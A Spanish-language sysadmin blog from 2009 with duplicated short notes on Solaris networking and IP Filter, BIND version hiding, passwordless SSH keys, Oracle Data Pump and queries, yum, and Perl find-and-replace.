IP (again) -> /etc/inet/ipnodes (This is new in Solaris 10)
DNS Servers -> /etc/resolv.conf
svcadm restart network/physical
FIREWALL
Enable Solaris IP Filter
#svcadm enable network/ipfilter
Re-enable packet filtering
#ipf -E
Activate packet filtering
#ipf -f
Active NAT (optional)
#ipnat -f
Desactivar las reglas
#ipf -D
VER PROCESOS QUE SE ESTAN CORRIENDO:
ps -Aef
VER PROCESOS (como el top de Linux):
prstat
#ifconfig xl0 inet 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255
IP -> /etc/hosts
Netmask -> /etc/netmasks
Gateway -> /etc/defaultrouter
IP (again) -> /etc/inet/ipnodes (This is new in Solaris 10)
DNS Servers -> /etc/resolv.conf
svcadm restart network/physical
FIREWALL
Enable Solaris IP Filter
#svcadm enable network/ipfilter
Re-enable packet filtering
#ipf -E
Activate packet filtering
#ipf -f
Active NAT (optional)
#ipnat -f
Desactivar las reglas
#ipf -D
VER PROCESOS QUE SE ESTAN CORRIENDO:
ps -Aef
VER PROCESOS (como el top de Linux):
prstat
Oracle | SQL Plus - Tiempo de ejecucion
Para ver la demora en tiempo q tardo en ejecutar una consulta...
SQL> SET TIMING ON
SQL> SET TIMING ON
29/4/09
Linux | Notas Servidor de DNS Bind
Ocultar la version del BIND:
- En el archivo named.conf.options o named.conf dependiendo de la Distribucion que se utilice
options {
directory "/var/cache/bind";
version ""; <--------------------- ESTA ES LA LINEA QUE SE DEBE AGREGAR!!!
- Para consultar al BIND la version instalada:
#nslookup -q=txt -class=CHAOS version.bind. 0
- En el archivo named.conf.options o named.conf dependiendo de la Distribucion que se utilice
options {
directory "/var/cache/bind";
version ""; <--------------------- ESTA ES LA LINEA QUE SE DEBE AGREGAR!!!
- Para consultar al BIND la version instalada:
#nslookup -q=txt -class=CHAOS version.bind. 0
Linux | SSH sin password
Configuracion de SSH para poder loguearse a un Server utilizando las KEYS y sin password...
SSH Without a Password
The following steps can be used to ssh from one system to another without specifying a password.
Notes:
The system from which the ssh session is started via the ssh command is the client.
The system that the ssh session connects to is the server.
These steps seem to work on systems running OpenSSH.
The steps assume that a DSA key is being used. To use a RSA key substitute 'rsa' for 'dsa'.
The steps assume that you are using a Bourne-like shell (sh, ksh or bash)
Some of this information came from:
http://www.der-keiler.de/Mailing-Lists/securityfocus/Secure_Shell/2002-12/0083.html
Steps:
On the client run the following commands:
$ mkdir -p $HOME/.ssh
$ chmod 0700 $HOME/.ssh
$ ssh-keygen -t dsa -f $HOME/.ssh/id_dsa -P ''
This should result in two files, $HOME/.ssh/id_dsa (private key) and $HOME/.ssh/id_dsa.pub (public key).
Copy $HOME/.ssh/id_dsa.pub to the server.
On the server run the following commands:
$ cat id_dsa.pub >> $HOME/.ssh/authorized_keys2
$ chmod 0600 $HOME/.ssh/authorized_keys2
Depending on the version of OpenSSH the following commands may also be required:
$ cat id_dsa.pub >> $HOME/.ssh/authorized_keys
$ chmod 0600 $HOME/.ssh/authorized_keys
An alternative is to create a link from authorized_keys2 to authorized_keys:
$ cd $HOME/.ssh && ln -s authorized_keys2 authorized_keys
On the client test the results by ssh'ing to the server:
$ ssh -i $HOME/.ssh/id_dsa server
(Optional) Add the following $HOME/.ssh/config on the client:
Host server
IdentityFile ~/.ssh/id_dsa
This allows ssh access to the server without having to specify the path to the id_dsa file as an argument to ssh each time.
SSH Without a Password
The following steps can be used to ssh from one system to another without specifying a password.
Notes:
The system from which the ssh session is started via the ssh command is the client.
The system that the ssh session connects to is the server.
These steps seem to work on systems running OpenSSH.
The steps assume that a DSA key is being used. To use a RSA key substitute 'rsa' for 'dsa'.
The steps assume that you are using a Bourne-like shell (sh, ksh or bash)
Some of this information came from:
http://www.der-keiler.de/Mailing-Lists/securityfocus/Secure_Shell/2002-12/0083.html
Steps:
On the client run the following commands:
$ mkdir -p $HOME/.ssh
$ chmod 0700 $HOME/.ssh
$ ssh-keygen -t dsa -f $HOME/.ssh/id_dsa -P ''
This should result in two files, $HOME/.ssh/id_dsa (private key) and $HOME/.ssh/id_dsa.pub (public key).
Copy $HOME/.ssh/id_dsa.pub to the server.
On the server run the following commands:
$ cat id_dsa.pub >> $HOME/.ssh/authorized_keys2
$ chmod 0600 $HOME/.ssh/authorized_keys2
Depending on the version of OpenSSH the following commands may also be required:
$ cat id_dsa.pub >> $HOME/.ssh/authorized_keys
$ chmod 0600 $HOME/.ssh/authorized_keys
An alternative is to create a link from authorized_keys2 to authorized_keys:
$ cd $HOME/.ssh && ln -s authorized_keys2 authorized_keys
On the client test the results by ssh'ing to the server:
$ ssh -i $HOME/.ssh/id_dsa server
(Optional) Add the following $HOME/.ssh/config on the client:
Host server
IdentityFile ~/.ssh/id_dsa
This allows ssh access to the server without having to specify the path to the id_dsa file as an argument to ssh each time.
Oracle | Datapump expdp
DATAPUMP de Oracle 10g
Export.....
-expdp
expdp "'/ AS SYSDBA'" schemas= content=ALL directory=(nombre del diretory) logfile=log_expdp dumpfile=(archivo dump)
Notas:
- el "directory" lo tengo que sacar de la vista DBA_DIRECTORIES
- el logfile va a parar al directory que le especifique en directory=
Export.....
-expdp
expdp "'/ AS SYSDBA'" schemas=
Notas:
- el "directory" lo tengo que sacar de la vista DBA_DIRECTORIES
- el logfile va a parar al directory que le especifique en directory=
28/4/09
Linux | Referencia YUM
- yum list (Listing installed packages)
- yum info (Getting package descriptions)
- yum search (Searching for packages)
- yum deplist (Viewing package dependencies)
- yum install (Installing and removing packages with yum)
- yum check-update (Checking for new package versions)
- yum clean all (Cleaning up the yum cache)
- yum info
- yum search
- yum deplist
- yum install
- yum check-update (Checking for new package versions)
- yum clean all (Cleaning up the yum cache)
27/4/09
Solaris | Configurar la placa de Red
Cambiar la IP de la placa de red
ifconfig xl0 inet 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255
o...
IP -> /etc/hosts
Netmask -> /etc/netmasks
Gateway -> /etc/defaultrouter
IP (again) -> /etc/inet/ipnodes (This is new in Solaris 10)
DNS Servers -> /etc/resolv.conf
# svcadm restart network/physical
ifconfig xl0 inet 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255
o...
IP -> /etc/hosts
Netmask -> /etc/netmasks
Gateway -> /etc/defaultrouter
IP (again) -> /etc/inet/ipnodes (This is new in Solaris 10)
DNS Servers -> /etc/resolv.conf
# svcadm restart network/physical
Linux | Remplazo masivo
Shell Script y Perl
perl -w -i -p -e "s/search_text/replace_text/g" *.php
En este ejemplo remplaza 2001071111 por 2008100711
perl -w -i -p -e "s/2001071111/2008100711/g" db.*
perl -w -i -p -e "s/search_text/replace_text/g" *.php
En este ejemplo remplaza 2001071111 por 2008100711
perl -w -i -p -e "s/2001071111/2008100711/g" db.*
Oracle | Ver si un objeto y sus dependencias estan en uso
-- Ver si el OBJETO y sus dependencias esta en uso
SELECT DISTINCT(a.SID),a.object,b.username FROM v$access a, v$session b WHERE
a.OBJECT IN (SELECT name FROM dba_dependencies WHERE referenced_name LIKE UPPER ('nombre del objeto') )
AND
b.SID = a.SID
SELECT DISTINCT(a.SID),a.object,b.username FROM v$access a, v$session b WHERE
a.OBJECT IN (SELECT name FROM dba_dependencies WHERE referenced_name LIKE UPPER ('nombre del objeto') )
AND
b.SID = a.SID
Suscribirse a:
Entradas (Atom)